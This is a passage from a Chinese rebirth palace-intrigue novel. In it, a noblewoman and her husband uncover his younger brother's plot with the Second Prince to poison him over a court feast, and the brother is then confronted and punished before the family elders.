裴行舟像是猜到了她心中所想一般,终于开口回答了她的问题。 邵婉淑:“从前宫里都是初一那日宴请百官,今年为何选在了十五?” 前世便是初一那日去的宫里,她实在想不通今年为何变成十五了,到底发生了什么事导致了现在的变化。 裴行舟:“大皇子回来了,皇上一直在等他。” 邵婉淑震惊地看向裴行舟:“你说什么?谁?大皇子回来了?” 前世大皇子一直在前线打仗,她记得这一仗打了三个月才结束,原本大皇子说过年能回来,但因为打仗没能回来。等打完仗已经是三月份了,早就过完年了,大皇子也就没回来。等到了下一年,边关又开始打仗了,大皇子还是没回来。若说今年的仗是小打小闹,第二年的就是大规模的战争。后来裴行舟也去了边关,一直到死都没回来。 裴行舟有些奇怪邵婉淑的反应,她为何对大皇子回来的事这么惊讶。年前大皇子就决定要回来了,只是因为邻国突然来犯所以没能回来。如今仗打完了,再回来,不是理所当然的事情吗? 邵婉淑:“前线仗打完了?” 裴行舟压住心底的疑惑,道:“嗯,初六那日就胜了,结束后大皇子从边关赶了回来。” 邵婉淑陷入了沉思。这一次竟然这么快就打完了,还不到一个月。为何?她把最近发生的事情仔细想了想,想到了年前被抓的韩忠直和户部王大人,又想到了第二年裴行舟去打仗时粮草不足的问题,心里突然有了个猜测。 “韩忠直是不是想在粮草上做了文章?” 裴行舟看邵婉淑的目光深了几分。这件事十分隐秘,几乎无人知晓,邵婉淑是如何知道的?据他所知这些日子她一直没有离开侯府,谁告诉她的?镇国将军夫人?兵部官员的夫人?还是邵家人?他们应该都不知道此事才对。因为此事涉及到了二皇子,又是新年,皇上暂时没有做出处罚的决定。先冷处理,打算等过完年再处置。 邵婉淑被裴行舟看得有些不舒服,问:“侯爷为何这般看我,我说错了吗?” 裴行舟紧紧盯着邵婉淑的眼睛,问:“夫人如何知晓此事的?” 邵婉淑张了张口,刚想回答,想到裴行舟最近一直不搭理她,心里有些气,闭了嘴没搭理他。这事儿她本就根据前世的经验推测出来的,真要回答的话还得找借口,她也不想找借口了。反正她想知道的事情全都知道了,邵婉淑没再搭理裴行舟,转身去里间换衣裳了。 裴行舟:…… 邵婉淑内心远不似她表现得这般冷静。坐在入宫的马车上,她依旧在想着大皇子的事情。 她将整件事捋了捋,想了许久终于清楚是怎么回事,如今和前世不同的种种表现,似乎都同她有关,一切都源于她将齐嬷嬷和韩忠直告诉了裴行舟。 得知齐嬷嬷是二皇子的人,她去告诉了姑母,姑母又告诉了皇上。皇上因为此事责罚了二皇子,二皇子从户部离开,调去了工部。二皇子因为失去了对户部的掌控,所以这一次打仗韩忠直和户部官员的奸计没能得逞,大皇子提前两个月击退了敌军,赶在正月十五回到了京城。 按理说,大皇子是先皇后所生,是嫡长子,继承皇位名正言顺,他的支持者理应是最多的。事实上在她年幼时,朝中的人也多是支持大皇子的。但因为大皇子去了边关,不少人猜测皇上对他不满意。随着三皇子长大,朝中大皇子的支持者少了一些。前世因为大皇子一直被皇上安排在边关,所以京城中支持三皇子的人越来越多,又因为二皇子任职户部,也是野心勃勃,所以朝中也有支持他的人。 如今大皇子回来了,将在群臣、宗室、外臣面前露面,皇上对大皇子不重视的传闻将会不攻自破。 如此一来,若是顺利的话,大皇子这个嫡长子的支持者将会越来越多,三皇子不必再被争储一事裹挟前进,二皇子的狼子野心也将消退……裴行凛想从裴行舟手中夺得爵位的可能性也越来越低,她也就安全了。 将事情捋清楚后,邵婉淑心里轻松多了。 裴行舟一直在盯着邵婉淑。从前邵婉淑要么面无表情,要么皱眉,再也没有其他表情。今日她脸上的表情格外丰富。她不知想到了什么,一会儿震惊,一会儿皱眉,一会儿又面带笑容。 她为何对大皇子回京一事情绪波动这么大。 大皇子回京对三皇子不利,按理说她应该不开心才对,为何这般高兴? 邵婉淑察觉到裴行舟看她的目光,收敛了脸上的笑容,抬眸看了过去。瞧着裴行舟眼里的审视,她斜睨他一眼,随后闭上眼,没再搭理他,也让他尝一尝不被人搭理的滋味。 裴行舟:…… 第59章 第 59 章 得知前世被害真相。 宴席还没开, 朝臣们是按照爵位官职从高到低的顺序进来的。 邵婉淑一行人进来时宫宴上还没多少人。 宫里的位置都是安排好的,定南侯府众人入了宫之后都到了指定的位置坐下。姜老夫人没来,裴行舟和邵婉淑坐在前排, 裴行凛和杜氏坐在了他们身后一排。 大皇子回来了, 邵婉淑本以为宫里会是暗潮汹涌,结果大家一团和气,她感觉大家好像还不知道大皇子已经回来了。她看了裴行舟一眼,裴行舟身侧不知何时来了一个内监,正俯身跟他说着什么。 裴行舟听完, 看向邵婉淑:“我有事先离开片刻。” 邵婉淑:“嗯。” 她猜裴行舟肯定是去见大皇子了。 邵婉淑猜得没错, 裴行舟的确是去见大皇子了。他虽时常和大皇子通信,但也两年没见大皇子了。 又过了一会儿,邵婉淑发现身后的裴行凛和杜氏都不见了。她四处看了看,看见杜氏去了杜家人身边,而裴行凛刚走, 就在不远处。他和裴行舟一样, 都是跟着一个内监离开了。 邵婉淑盯着裴行凛离去的方向,心里猜测他究竟是去见何人。 就在这时,裴行凛不知跟引路的内监说了什么, 内监侧过了身子,回答了他的问题。 看着内监的脸,邵婉淑总觉得在哪里见过他。 她跟姑母宫中的内监最熟,可此人不像是姑母宫中的, 可能是三皇子那边的。三皇子身边的内监为何要来见二皇子?她隐隐觉得不对,将三皇子身边的内监想了一圈, 发现好像没这个人。她还是觉得似乎是在姑母的宫中见过他。 想着想着, 邵婉淑终于想起来在哪里见过他了。 是二皇子身边的内监! 她的确是在姑母宫中见的, 前世她在姑母那里见这个内监为二皇子传信。但他好像不是二皇子身边服侍的,是宫里的。但他是二皇子的人,在为二皇子做事,为二皇子在宫中传递消息。 所以,裴行凛是去见二皇子了。 她没想到裴行凛竟然这般胆大妄为,敢在宫里见二皇子。之前二皇子一直都是小心翼翼的,她的人从未发现二皇子见裴行凛或者杜侯。 这个能抓住裴行凛和二皇子有勾结的好机会裴行舟竟然不在! 邵婉淑犹豫了一下,还是以更衣为由跟过去了。她虽不是在宫里长大的,但自她有记忆以来姑母就入宫了,她也时常来宫中,所以对宫里还算熟悉。她是定南侯夫人,还是贤贵妃的侄女,真被发现了他们应该也不敢轻易在宫里动手。思来想去邵婉淑还是决定冒一次险。 若大皇子势力高涨,裴行凛就此歇了心思,不再支持二皇子,她还真不好让他为前世的事情付出代价。若他仍旧站在二皇子那边,她前世的仇才能报。 时隔两年,裴行舟终于再次见到了大皇子。 “微臣见过殿下。” 二人年少相识,一见如故,惺惺相惜。 大皇子:“行舟,快起来。” 裴行舟站起身看向大皇子。大皇子虽然比从前瘦了些,也黑了些,但却比从前更加精神了。 大皇子也在打量裴行舟。 “行舟还跟从前一样,成亲后看着更加沉稳了。” 裴行舟:“托殿下的福,臣一切都好。” 大皇子:“我是托你的福了,若非你发现韩忠直这个叛徒,我怕是现在还在边关跟敌军打仗!并非是敌军太强,是咱们这边出现了叛徒。” 这几个月裴行舟发现邵婉淑有些不太寻常,有好多事情她都解释不清楚,而他也没有查出来。 因为邵婉淑这一次没有解释清楚她如何知晓韩忠直有问题,所以裴行舟并未跟大皇子说韩忠直是被邵婉淑发现的。他担心二皇子那边报复,也担心大皇子怀疑邵婉淑。 大皇子:“没想到老二那边的事情也这么顺利,你可真是我的福星。” 裴行舟:“此事多亏了邵婉淑,是她劝贤贵妃不要自己动手,让她去找了皇上。” 大皇子:“你这新妇也着实有意思,跟传闻中不太一样。” 提及邵婉淑,裴行舟神色不自觉柔和了几分:“嗯,她的确很特别。” 大皇子发现了裴行舟的改变,微微挑眉,道:“我听说她和邵侍郎那边划清了界限。” 裴行舟:“对,她没有帮着邵侍郎探听侯府机密,过年也没去邵家。” 大皇子:“我原还觉得你因为我答应了这门亲事,委屈了你,如今瞧着你这样我也算是放心了。” 裴行舟:“臣多谢殿下。” 大皇子还欲说什么,突然,眼神一怔,指了指不远处,问:“行舟,你看看那个鬼祟的身影是不是你夫人?” 裴行舟转身看向大皇子手指的方向,那姑娘穿着一件水蓝色的袄子,不是邵婉淑还能是谁。刚刚二人离开时她还是一副优雅端庄的模样,此刻却躲在了一棵树后,行踪鬼祟。 “是她。” 大皇子:“我瞧着她好像在跟踪什么人,那人走得很快,没看清是谁,你快去看看吧。” 裴行舟来不及跟大皇子再说什么,躬身行礼,转身飞快离去。 看着裴行舟快速离去的身影,大皇子失笑,认识裴行舟这么多年,还是第一次见他如此莽撞,可见邵婉淑在他心中的分量不轻。 一路上,邵婉淑十分小心,注意隐藏身形。可惜她太小心了,跟着跟着,人不见了。她正愁着怎么办时,突然听到了身后的脚步声,她心里一紧,连忙躲了起来。 她透过缝隙看了一眼,发现来人是两个内监,他们手中提着食盒,应该是御膳房的内监。就在他们离她越来越近时,她发现了不对劲儿。 不对,不是御膳房的内监,是刚刚那个二皇子身边的内监和裴行凛,裴行凛不知去何处换了一身内监的衣裳。 邵婉淑躲好了,等人离去才出来,跟在他们二人身后,她怕跟丢了,这一次更加小心了。可他们二人越走越偏僻,竟然到了关押犯错宫妃的地方。小时候她和三皇子曾来过这边,这边经常关押一些犯了错的宫妃,而有些宫妃死在了这里,被人认为不吉利。这里被人称为冷宫,鲜少有人过来。再往前去,就没有遮挡的地方了。 她实在是不甘心,但也知道不该再继续跟下去了。 她脑海中冒出来一个念头,若是裴行舟在就好了,他定会有办法的。 就在这时,突然有人从身后捂住了她的嘴。 邵婉淑的心顿时提了起来,心砰砰砰跳了起来,大脑一片空白。她今日要死在这里了吗?就在她紧张得心快要快跳出来时,耳边传来了熟悉的声音:“是我。” 听到裴行舟的声音,邵婉淑终于安心了,她转过身看向来人。 裴行舟低声问:“夫人在跟着谁?” 邵婉淑:“你二弟和一个内监过来了,那个内监可能是二皇子的人,我怀疑他偷偷去见二皇子了。” 裴行舟脸色一肃,问:“他们去哪了?” 邵婉淑指了指前面的路,道:“去了前面,从第二个门进去的,前面没有遮挡的地方,我不敢跟了。” 裴行舟摸了摸邵婉淑的头:“夫人做得对。” 争储从来不是温和的,而是血流成河,若夫人真的被二皇子发现了,他不敢想后果会是什么。 邵婉淑不能去,但裴行舟可以过去。此去有些危险,裴行舟本不想带着邵婉淑,可回去的路也十分荒僻,他也不放心她一人回去。他快速思索好,牵起了邵婉淑的手,低声道:“跟我来。” 邵婉淑心里是害怕的,可裴行舟的大掌紧紧握住了她的手掌,源源不断的热气传来。第一次做这样的事,她又莫名有些兴奋。 两人很快到了第二个门口,他们过来时门已经被关上了。 裴行舟:“闭眼。” 邵婉淑不明所以,但还是听话的闭上了眼。 下一瞬,裴行舟抬手拦住了邵婉淑的腰,一个纵身二人到了围墙之上,然后又稳稳落到了地上。 直到双脚落地,邵婉淑这才睁开眼,有些激动地看向裴行舟。没想到裴行舟不光手脚功夫厉害,竟然还会轻功。 裴行舟站在原地仔细听了听,牵起了邵婉淑的手,朝着一个方向走去。 走了一段路之后,邵婉淑听到了里面的谈话声。 其中一个人想让另一个人做什么事,另一人拒绝了。邵婉淑仔细听了听,确认了两人一个是二皇子,一个是裴行凛。 二皇子似乎在让裴行凛做一些事,裴行凛有些犹豫。 二皇子:“难道你甘心一辈子只是个嫡次子吗?” 裴行凛:“可……可他毕竟是我大哥,我下不了手。” 二皇子:“你拿他当大哥,他可拿你当弟弟?你不过是给裴璃下了泻药,裴行舟就打的你下不了床,害你在同僚面前丢尽了颜面。若他知晓你拿了侯府的银钱背着裴行舟在外疏通关系,试图夺取他的爵位,你猜裴行舟会怎么做?” 猜测得到了确认,邵婉淑心里的大石头反倒是落地了。她抬眼看向了裴行舟,裴行舟脸色十分冷,看不出一丝温度。 邵婉淑握紧了裴行舟的手。 裴行舟垂眸看了她一眼。 裴行凛:“我只是想要回属于我的爵位,我没想杀他。” 二皇子:“幼稚!你觉得爵位是你的,裴行舟还觉得爵位是他的呢。他才是名正言顺的嫡长子,而你不过是嫡次子。你夺爵就是在夺他的东西!” 裴行凛情绪有些激动:“父亲被封爵时裴行舟不知所踪,并不在侯府中。那时大家都叫我小侯爷,父亲和母亲也更看重我,这爵位本就是我的。若不是裴行舟被找回来了,这爵位早就是我的了。” 原来裴行凛是这样想的,怪不得他一直想要夺取裴行舟的爵位。邵婉淑实在是理解不了裴行凛的想法。 二皇子:“你想夺爵,又不想杀了裴行舟,你觉得你如何能夺取爵位?大皇子已经回京了,裴行舟的靠山来了,朝中的那些老臣一向支持正统。他们不仅会支持大皇子,也会支持裴行舟。你若现在不动手,以后更没有机会了。” 裴行凛沉默片刻,道:“不如杀了邵婉淑。” 邵婉淑:??? 裴行舟是不是有毛病,夺爵就夺爵,为何要杀她!她哪里得罪他了?她又没抢他的爵位! 裴行舟握着邵婉淑的手紧了紧,邵婉淑吃痛,抬眸看向裴行舟。刚刚听到裴行凛要夺取他的爵位时,他没什么反应。怎么听到裴行凛要杀她,他反应这么大。 二皇子说出了邵婉淑的心里话:“你是不是蠢,杀她干什么?” 裴行凛:“只要她死了,裴行舟就没有了继承人,将来爵位还是我的。” 邵婉淑扯了扯嘴角,果然,前世是裴行凛杀了她,他就是打的这样的主意。 二皇子似是被裴行凛无语到了,顿了顿,才说道:“裴行舟还年轻,死了一个邵婉淑,他还能娶无数个邵婉淑。况且,她可是贤贵妃的侄女,你若杀了她,贤贵妃绝不会善罢甘休的。一个大皇子就已经很难对付了,再多一个贤贵妃更是应付不了,你这是在给自己找麻烦。” 裴行凛:“她不是和邵家闹崩了么?今年过年邵家人都没来侯府,她也没回娘家。” 二皇子:“邵侍郎不足为惧。但贤贵妃可是父皇的心头肉,她哭诉一番比老大立了军功都管用,我之所以被父皇调去工部就是因为她,你可别小瞧了她。” 裴行凛又沉默了。 “真的没有别的办法了吗?” 二皇子:“没有了。” 裴行凛:“不如等裴行舟去了战场上再杀他?这样就简单多了。刀剑无眼,他能有一百种死法。” 邵婉淑没想到今生她还能拼凑齐前世她和裴行舟被害的全过程,也算是解开前世的疑惑,没有遗憾了。 裴行舟看着不远处的裴行凛,眼底一片冷意。 第60章 第 60 章 二皇子和裴行凛的谋划。 二皇子十分后悔找上裴行凛, 这就是个蠢货。 “裴家武将出身,军中支持者甚多。老大为何能在边关全须全尾回来了?就是因为裴行舟在军中的照拂。咱们连大皇子都杀不了,如何能杀在军中杀掉更有声望更有势力的裴行舟。” 二皇子这话倒是道出了邵婉淑心中的疑惑, 从前种种表明裴行舟早就知道二皇子和裴行凛对他图谋不轨, 既然他知道了,又为何会轻易死在战场上呢? 那边,二皇子终于反应过来了。裴行凛口口声声说只想要裴行舟的爵位,不想让他死,可转头又说想让裴行舟死在战场上。说到底, 他不是不想让裴行舟死, 只是怕连累他自己。真是个懦弱又阴险的人。 二皇子笑着说:“我看出来了,其实你也想让裴行舟死,对吧?” 这一次裴行凛没否认,他垂着头不敢承认。 二皇子:“你放心,这个计划天衣无缝, 我已经为你想好了退路。你刚刚不是想让邵婉淑死么, 这个计划就可以办到。” 说着,他看了一眼内监,内监将一包药塞到了裴行凛手中。 二皇子:“这个药我专门找宫人配的, 无色无味,不会立即让人死,反倒是会让人变得更加精神,三日后, 暴毙而亡,你到时候把握好时间, 让裴行舟死时邵婉淑在场, 把所有的事都推到邵婉淑的身上。邵婉淑是三皇子的表姐, 她对付裴行舟再合理不过。老夫人那么信任疼爱你,一定会相信你的。你是裴行舟的亲弟弟,这件事怎么查都查不到你的头上。” 裴行凛眼前一亮,哆哆嗦嗦地握紧了手中的药。 二皇子看了一眼裴行凛,见他脸上隐隐带着一丝兴奋,知道这事儿应该能成,便不再废话。 “好了,快开席了,赶紧回去吧,免得被人发现了异常。” 裴行凛跟内监离开了。 二皇子看着天上的清冷的圆月,露出了一个久违的舒心笑容。 因为韩忠直的事情,父皇禁了他的足,连工部都不让他管了,因为今日是年宴,这才让他进了宫。 老大在军中全靠裴行舟这个助力,等裴行舟死了,裴行凛上位,裴家在军中的助力就属于他了,看老大还能得意到几时。 到时候再把邵婉淑拉进来,老大绝对不会放过她。他敢对邵婉淑动手,贤贵妃绝不会饶了他。他只需看着老大和老三斗就行了。 父皇想让老大登基又如何,疼爱老三又如何,他这个人偏偏不信命! 一时的失意算不了什么,路还长着呢,他们且走着瞧。 等二皇子离开后,裴行舟和邵婉淑对视了一眼。 直到亲耳听到二皇子和裴行凛的谈话,裴行舟知道裴行凛不能再留在身边了。他原打算留他在府中引出更多官员二皇子的事情,如今看,他已经烂透了,再留在身边就是个危险。 看着裴行舟脸上的神情,邵婉淑知道裴行舟不会再放过裴行凛了,也无须她再多说什么,因此她什么都没说。 两人离开了冷宫,朝着宴席的方向走去。因为怕遇到裴行凛,邵婉淑带着裴行舟走了另一条路。这条路比刚刚那条路要近一些,但因为路上的人多,因此裴行凛来时没选择这条路。 他们二人过去时全场都坐满了人,宴席也马上就要开始了。 过了一会儿裴行凛才回来,回来后,他身上内监的衣裳已经换掉了。 邵婉淑看了裴行舟一眼,裴行舟始终未看身后的人。 不多时,隆帝携贤贵妃来了,身后跟着几位皇子。 隆帝这才对众人宣布大皇子回来了。 场上一片议论声,全都起身朝着大皇子行礼,场面十分壮观。 贤贵妃看着眼前的一幕心里难受极了。这些人见到阿祐时怎么就不能这么热情激动呢?再一看儿子,看大皇子的目光比朝臣们还要激动,心里更难受了。 她怎么就生了这么一个不争气的呢! 拥护别人当储君做什么,不如自己当储君啊! 三皇子可不知贤贵妃心中所想,即便知道了他也不会听的,他坐在大皇子旁边,问起他在边关的事情。 大皇子看三皇子的目光有些复杂,这些年贤贵妃没少找人对付他,也经常在父皇面前说他的不是,可三弟看起来还跟小时候一样对他十分敬重。不知是装的,还是真的。他试探了一句:“三弟若是喜欢边关,不如做个武将。” 三皇子:“父皇之前也说让我当个大将军,我可没那个本事,也不想当武将。” 大皇子眼神微微一变,不着痕迹地看了皇上一眼,又问:“那你想做什么?” 三皇子笑着说:“我想像舅父一样去礼部任个职,或者去鸿胪寺,去各国游历。” 大皇子仔细地审视了一眼三皇子,低声问:“贵妃娘娘可知你的志向?” 三皇子:“知道啊,但母妃不同意,所以皇兄要帮我。” 大皇子:“你若真想做此事,皇兄一定帮你。” 三皇子:“多谢皇兄。” 整个宴席上,裴行舟都十分冷静,脸上没有流露出来一丝情绪,像是刚刚什么都没发生一般。 他抬手为邵婉淑剥虾,为她夹菜,动作很是自然。 裴行凛毕竟是他的亲弟弟,从前又对他十分信任。得知亲弟弟要杀害自己,裴行舟心中定不好受。邵婉淑看出来他在想事情,没有打扰他。 旁人可不这么想,见裴行舟这般照顾邵婉淑,大家险些惊掉了下巴,可他们不敢说,也不敢问,只敢偷偷看。 定南侯是大皇子的人。侯夫人是邵侍郎的女儿,三皇子的表姐。当初定南侯可是对这门其实不满的,短短数月过去,怎么感觉他对这个夫人越发喜欢了。 长公主可没那么小心翼翼,她看到后,扬声道:“没想到咱们冷峻的定南侯还有这样柔情的一面,可见皇兄这门婚事赐的好啊!” 闻言,隆帝看向了裴行舟的方向,看着他手中刚刚剥好的虾,脸上多了几分笑意。他当初赐婚就是希望老大和老三关系能亲近一些,如今见他们夫妇感情好,他自然十分欣慰。 听着长公主调侃的话,察觉到众人看过来的目光,裴行舟动作微微一顿,这虾他是给邵婉淑也不对,不给也不对,有些骑虎难下了。 但最终,众目睽睽之下,裴行舟还是按照刚刚的想法,把剥好的虾放在了邵婉淑的碗中。 邹相笑着说:“那日臣府中办了赏梅宴,侯爷还去了呢。当时我还想着侯爷怎么来这么晚呢,宴席都快结束了才过来。我猜侯爷会不会是有要事找我,就赶紧过去见侯爷了,结果侯爷跟我说他没什么事,就是来赏梅的,还不让我陪着。结果没过多久就看到侯爷和侯夫人一同离去,原来他是特意来接侯夫人的。我真是自作多情了。” 听到走向这番描述,众人都哈哈大笑起来。 邵婉淑也是第一次知道这件事,那次她光顾着解释和邹三郎之间的事情了,倒是忽略了这一点。她还以为裴行舟有事找邹相,顺路跟她一同回去,没想到他竟是特意去邹相府接她的。 面对众人的调侃,裴行舟和邵婉淑再没什么回应就有些不合适了。裴行舟看了邵婉淑一眼,二人同时站起身来。 裴行舟朝着众人拱手行礼,邵婉淑微微福身。 看着这一对璧人,隆帝笑着说:“都坐下吧,赏玉如意一对。” 裴行舟和邵婉淑什么都没做,只是不小心秀了恩爱就得了一对玉如意。 此举也是给大家一个明确的信号。皇上这是乐于见大皇子和三皇子和睦,谁要是再挑拨他们二人的关系那就是和皇上作对。大家看看一脸不悦的贤贵妃,又看看正和大皇子相谈甚欢的三皇子,觉得此事也有些难办。 裴行凛看着前面得了赏赐的夫妇二人,心又冷了几分。如今风头都被他们二人抢去了,要是再晚一些,邵婉淑怕是要怀上孩子了,到时候他就什么都没了。他本来还在犹豫要不要杀了裴行舟,此刻坚定了一些。 隆帝和贤贵妃在宴席上待了约摸半个时辰左右,二人便相携离去。殿中的歌舞还在继续,群臣们开始交流起来了。 裴行舟也离席了,他走之前,迟疑了一下,又特意吩咐邵婉淑:“不要乱走,等我回来。” 经历了刚刚的事情,他实在是不放心邵婉淑。 邵婉淑抬手握住了裴行舟的手,在他手心写了个三,低声道:“这件事她去办更合适。” 裴行舟明白了邵婉淑的意思,因为裴行凛就坐在后面,所以有些话怕他听了去,不能明说。邵婉淑的意思是让贤贵妃去查这件事。 “她未必想办。” 邵婉淑又在裴行舟手心写了个二,道:“她一定会帮忙的。” 裴行舟思索片刻,道:“好。” 说罢,二人一同离开,朝着大皇子和三皇子的方向走去。 四人去了一旁的小花园,简单说了事情后,大皇子和三皇子一同去了昭阳宫。 这件事虽说让皇上去查更合适,但他们不能确定那包药究竟有没有毒。冒然去跟皇上说的话,若查出来还好,查不出来的话反倒是有诬陷二皇子的嫌疑。所以,查这件事要避开皇上,而皇上刚刚同贤贵妃一同去了昭阳宫。 因此,他们打算是让大皇子以公务为由去把皇上叫走,三皇子去跟贤贵妃说这件事。 隆帝虽然没从长子脸上看出来什么,但三儿子的心思都写在了脸上。他虽察觉出了异常,但看两个儿子一起过来的,他乐于见他们合作,便没有揭穿,跟长子离开了。 二皇子安排齐嬷嬷对付三皇子,又想利用此事把邵婉淑牵扯进来,再次利用贤贵妃,贤贵妃自然很生气。裴行舟虽然是大皇子那边的人,但她最多是想着拉拢,从没想过让他死。而且,久居深宫,见多了这些算计人的手段,她还多想了一层。如果二皇子手中真的有这么好的药,他会不会给皇上、给她以及阿祐下药。 因此,她立即就让人去查了此事。 二皇子还在前面席上拉拢这朝臣,并未注意到此事,也没想到贤贵妃动作这么迅速。 一个时辰后,宴席结束,众人陆陆续续离开了皇宫。 贤贵妃毕竟统管后宫多年,想查一件事很快就查清楚了。小翔子以给邵婉淑赏赐为由,把结果传了过来。 等到了侯府中,裴行舟跟邵婉淑道:“我今晚可能不回去了,夫人不必等我。” 邵婉淑以为裴行舟会等着裴行凛动手后再出手解决他,或者等宫里有了对二皇子的处罚再动手,这样的话事情能简单一些。他这番交代,以及前院多出来的这些马车都让邵婉淑意识到他今晚就要动手。 “侯爷准备今晚解决事情吗?” 裴行舟:“嗯。” 邵婉淑:“不等等吗?” 裴行舟握了握邵婉淑的手,道:“不等了。” 他怕夜长梦多,他也怕裴行凛突然改了主意把药下到了邵婉淑的碗里。即便裴行凛没有动手,他今晚也要解决这件事。 邵婉淑:“他没有动手的话,母亲和族里长辈那边可能会有些阻力,他们会觉得你对弟弟心狠。” 裴行舟:“没关系,夫人回去好好睡一觉,明日一早什么事都没了。” 无论如何,他今晚都要动手。 邵婉淑知道,裴行舟这是不想让她参与其中。若是刚嫁给他时,她定会认为裴行舟拿她当外人,但今日她不这样想。 裴行凛是裴行舟的亲弟弟,老夫人的亲儿子,今日裴行舟要收拾裴行凛,老夫人定不会轻易同意的。即便被逼同意了,也难免会对裴行舟心生不满。以后每次想起来这个小儿子,都会怪裴行舟。而她身为侯夫人,肯定要站在裴行舟这边。若她今日在祥和院,老夫人以后也难免会责怪她,所以裴行舟是为了她好才让她避嫌。 “我陪侯爷一起去。” 裴行舟看着邵婉淑没说话。 邵婉淑:“侯爷,我想去。” 前世她被裴行凛害死,今生他还想害她,她不想听别人说裴行凛的结局,她想亲眼看看他的结果。 看出来邵婉淑的坚持,裴行舟没再拒绝:“好,咱们一起去。” 裴行舟牵起了邵婉淑的手,吩咐青云:“你在此处等着,老二的马车到了之后,把他押去祥和院。” 青云:“是。” 邵婉淑想到一点,道:“让人去请个郎中吧。” 裴行舟担忧地问:“你身子不舒服?” 邵婉淑摇了摇头:“不是,我是担心母亲承受不住。” 裴行舟也知母亲有多疼裴行凛,道:“夫人考虑周到,安排人去请郎中吧,让郎中去祥和院外候着。” 青云:“是。” 裴行舟和邵婉淑一同去了祥和院,他们到时,姜老夫人、裴家族中人、姜家人已经都在了,裴璃也在。 邵婉淑看着面前这些人,恍惚中像是回到了前世。前世,裴行舟去世后,莲娘来到了府中,那时,也是这些人在。他们逼着她认下莲娘肚子里的孩子。不过,今日大家审判的对象换了人。 见到他们二人,大家纷纷询问起来。 族长三老太爷:“行舟,这么晚了,你为何让我们来你母亲这里,可是有什么要事?” 裴行舟:“三叔,今日有件事要请您做个见证。” 姜舅父:“究竟是何事,也需要我做个见证吗?” 裴行舟:“需要。” 姜老夫人:“莫非是宫里出事了?” 毕竟今晚他们是去宫里参加宴席了,宫里的事可没有小事。众人全都紧张起来,看向裴行舟。 裴行舟:“的确是在宫里发生的,但是是家事。” 众人松了一口气。 不知为何,姜老夫人心里有些不安,总觉得好像今晚会有什么不好的事情要发生。 众人正说着话,裴行凛被押过来了。《 》 60-70 第 61 章 对裴行凛的处罚。 裴行凛刚下马车就被青云押住了。 杜氏愤怒地指责青云:“你这是在干什么?你算个什么东西, 竟然敢这样对府里的爷!” 裴行凛也反应过来了:“谁让你这么干的,裴行舟吗?我要去告诉母亲!” 青云:“好啊,这就带二爷去见老夫人。” 裴行凛直觉有些不对劲儿。 杜氏刚要继续骂, 就被一个婆子押住了,二人被带去了祥和院, 一路上骂骂咧咧的。 众人刚刚只听裴行舟说是家事, 但不知究竟是什么样的家事,在看到裴行凛被捆起来时方才知晓是何事。 见小儿子被人捆了,姜老夫人坐不住了,首先开口问道:“老大, 你这是在干什么?” 裴行舟没有回答,对青云说道:“搜!” 青云很快就从裴行凛身上搜出来一包药粉。 在被青云捆过来的时候裴行凛就有一种不祥的预感, 此刻更加确认了, 他脸色煞白,急忙否认:“这药不是我的,我不知道这药怎么突然出现在我的身上。” 裴行舟看了裴行凛一眼,道:“我何时说过这是药,二弟倒是会不打自招。” 裴行凛这才意识到自己说错话了,连忙闭了嘴。 裴行舟看着姜老夫人、族长以及姜家舅父:“各位长辈, 二弟和外人合谋,试图谋害我, 侯府留不得他了。” 裴行凛反驳:“你胡说, 我从未有过这样的打算。” 裴家族中人面面相觑。这二人可是亲兄弟啊, 从前也没听说他们有什么矛盾,怎么突然就变成了这个样子。姜家舅父也是一脸茫然。 说到底,这事儿虽然是裴家的事儿,但也是侯府的家事。他们的目光全都看向了姜老夫人。 姜老夫人脸色很是难看, 最近老大和老三走得越来越近,一直在针对老二。这个年还没过,他竟然越发不像样了。 “老大,你是不是弄错了,行凛不可能做这样的事。” 姜家舅父也道:“是啊,行舟,你会不会弄错了,行凛可是你的亲弟弟,他怎么可能做这样的事呢?” 三老太爷:“行舟,这种事要确定了再说。” 见众人如此说,裴行凛更有底气了,立即道:“裴行舟,你冤枉我!有本事你拿出来证据,不然你要跟我道歉!” 裴行舟轻轻瞥了裴行凛一眼。 一开始裴行舟的确没注意到这个弟弟有别的心思,他一心扑在公务上,很少见他,也拿他当小孩子。当初裴行凛在印子钱上数次推诿,他便察觉到了异常,后来他发现了裴行凛竟然和二皇子有些联系,便隐隐觉得有些不对劲儿。再后来,他给三弟下毒。如今又给自己下毒。 这个弟弟,是真的没救了。 周围是劝和的声音,是裴行凛喊冤的声音,是杜氏指责的声音……混杂的声音中,一只柔软的手轻轻捏了捏他的掌心。 裴行舟看向邵婉淑,内心格外平静,也有了更多的力量。 在这个府中,他不再是一个人了。 他再次看向了裴行凛:“制药的老太监已经被贤贵妃抓住了,带去了皇上面前,他此刻应该在宫里受审,你觉得二皇子还能救得了你吗?” 裴行凛脸色顿时变得煞白,裴行舟竟然什么都知道了。 闻言,屋里渐渐静了下来。 这件事怎么还牵涉到了皇子?皇上不喜官员站位,也不喜党争,牵涉到这样的事情中绝不是什么好事。众人的脸色也变得严肃起来。 姜老夫人看着小儿子的样子,还有什么不明白的,她刚要开口,眼前一黑,晕了过去。 裴行舟心里一紧,但很快又狠下心来。 “去把郎中叫进来。” 闻言,三老太爷看了裴行舟一眼,叹了叹气。看来,裴行舟是铁了心要收拾裴行凛了。 姜老夫人被抬去了里屋,郎中很快便过来诊治了一番,姜老夫人醒了过来。她本不想再出去了,想借着身子不适为由,结束今日的闹剧。 然而,长子似乎铁了心要解决这件事,不管她是否好转都要继续审判二儿子。 听着外面的谈话,她强撑着出来了。 外面已经在商量如何处置小儿子了,她知道长子有多么狠,上次小儿子差点给裴璃下药就被他打了个半死。今日又是给长子下药,他怕是处罚得更狠。她不能再躺着了,没有她在,小儿子还不知会落得个什么样的下场。 三老太爷看了姜老夫人一眼,道:“行舟,要不就按照你父亲去世前所说,把他从侯府分出去。” 姜老夫人心里一惊,道:“这样做会不会罚得太重了?” 三老太爷想,他这个嫂子从前也是个明白人,怎么涉及到自己的小儿子的事情时就糊涂了呢?行舟今日摆明了要重罚行凛,他提出来这个办法已经是最轻的了。况且,此事还涉及到了争储一事。 从行舟语气来看,这件事肯定不小,他也没敢多问。 裴行舟:“的确不妥。” 姜老夫人心里升起来一丝希望。 只听裴行舟继续说道:“不可轻轻放过,若罚得不重,以后又有人想要有样学样残害兄弟,夺取爵位,又该如何?” 姜老夫人眼里的光又灭了,她道:“把你二弟从侯府撵出去已经很重了,你还想怎样?” 裴行舟:“让他辞官回族中。” 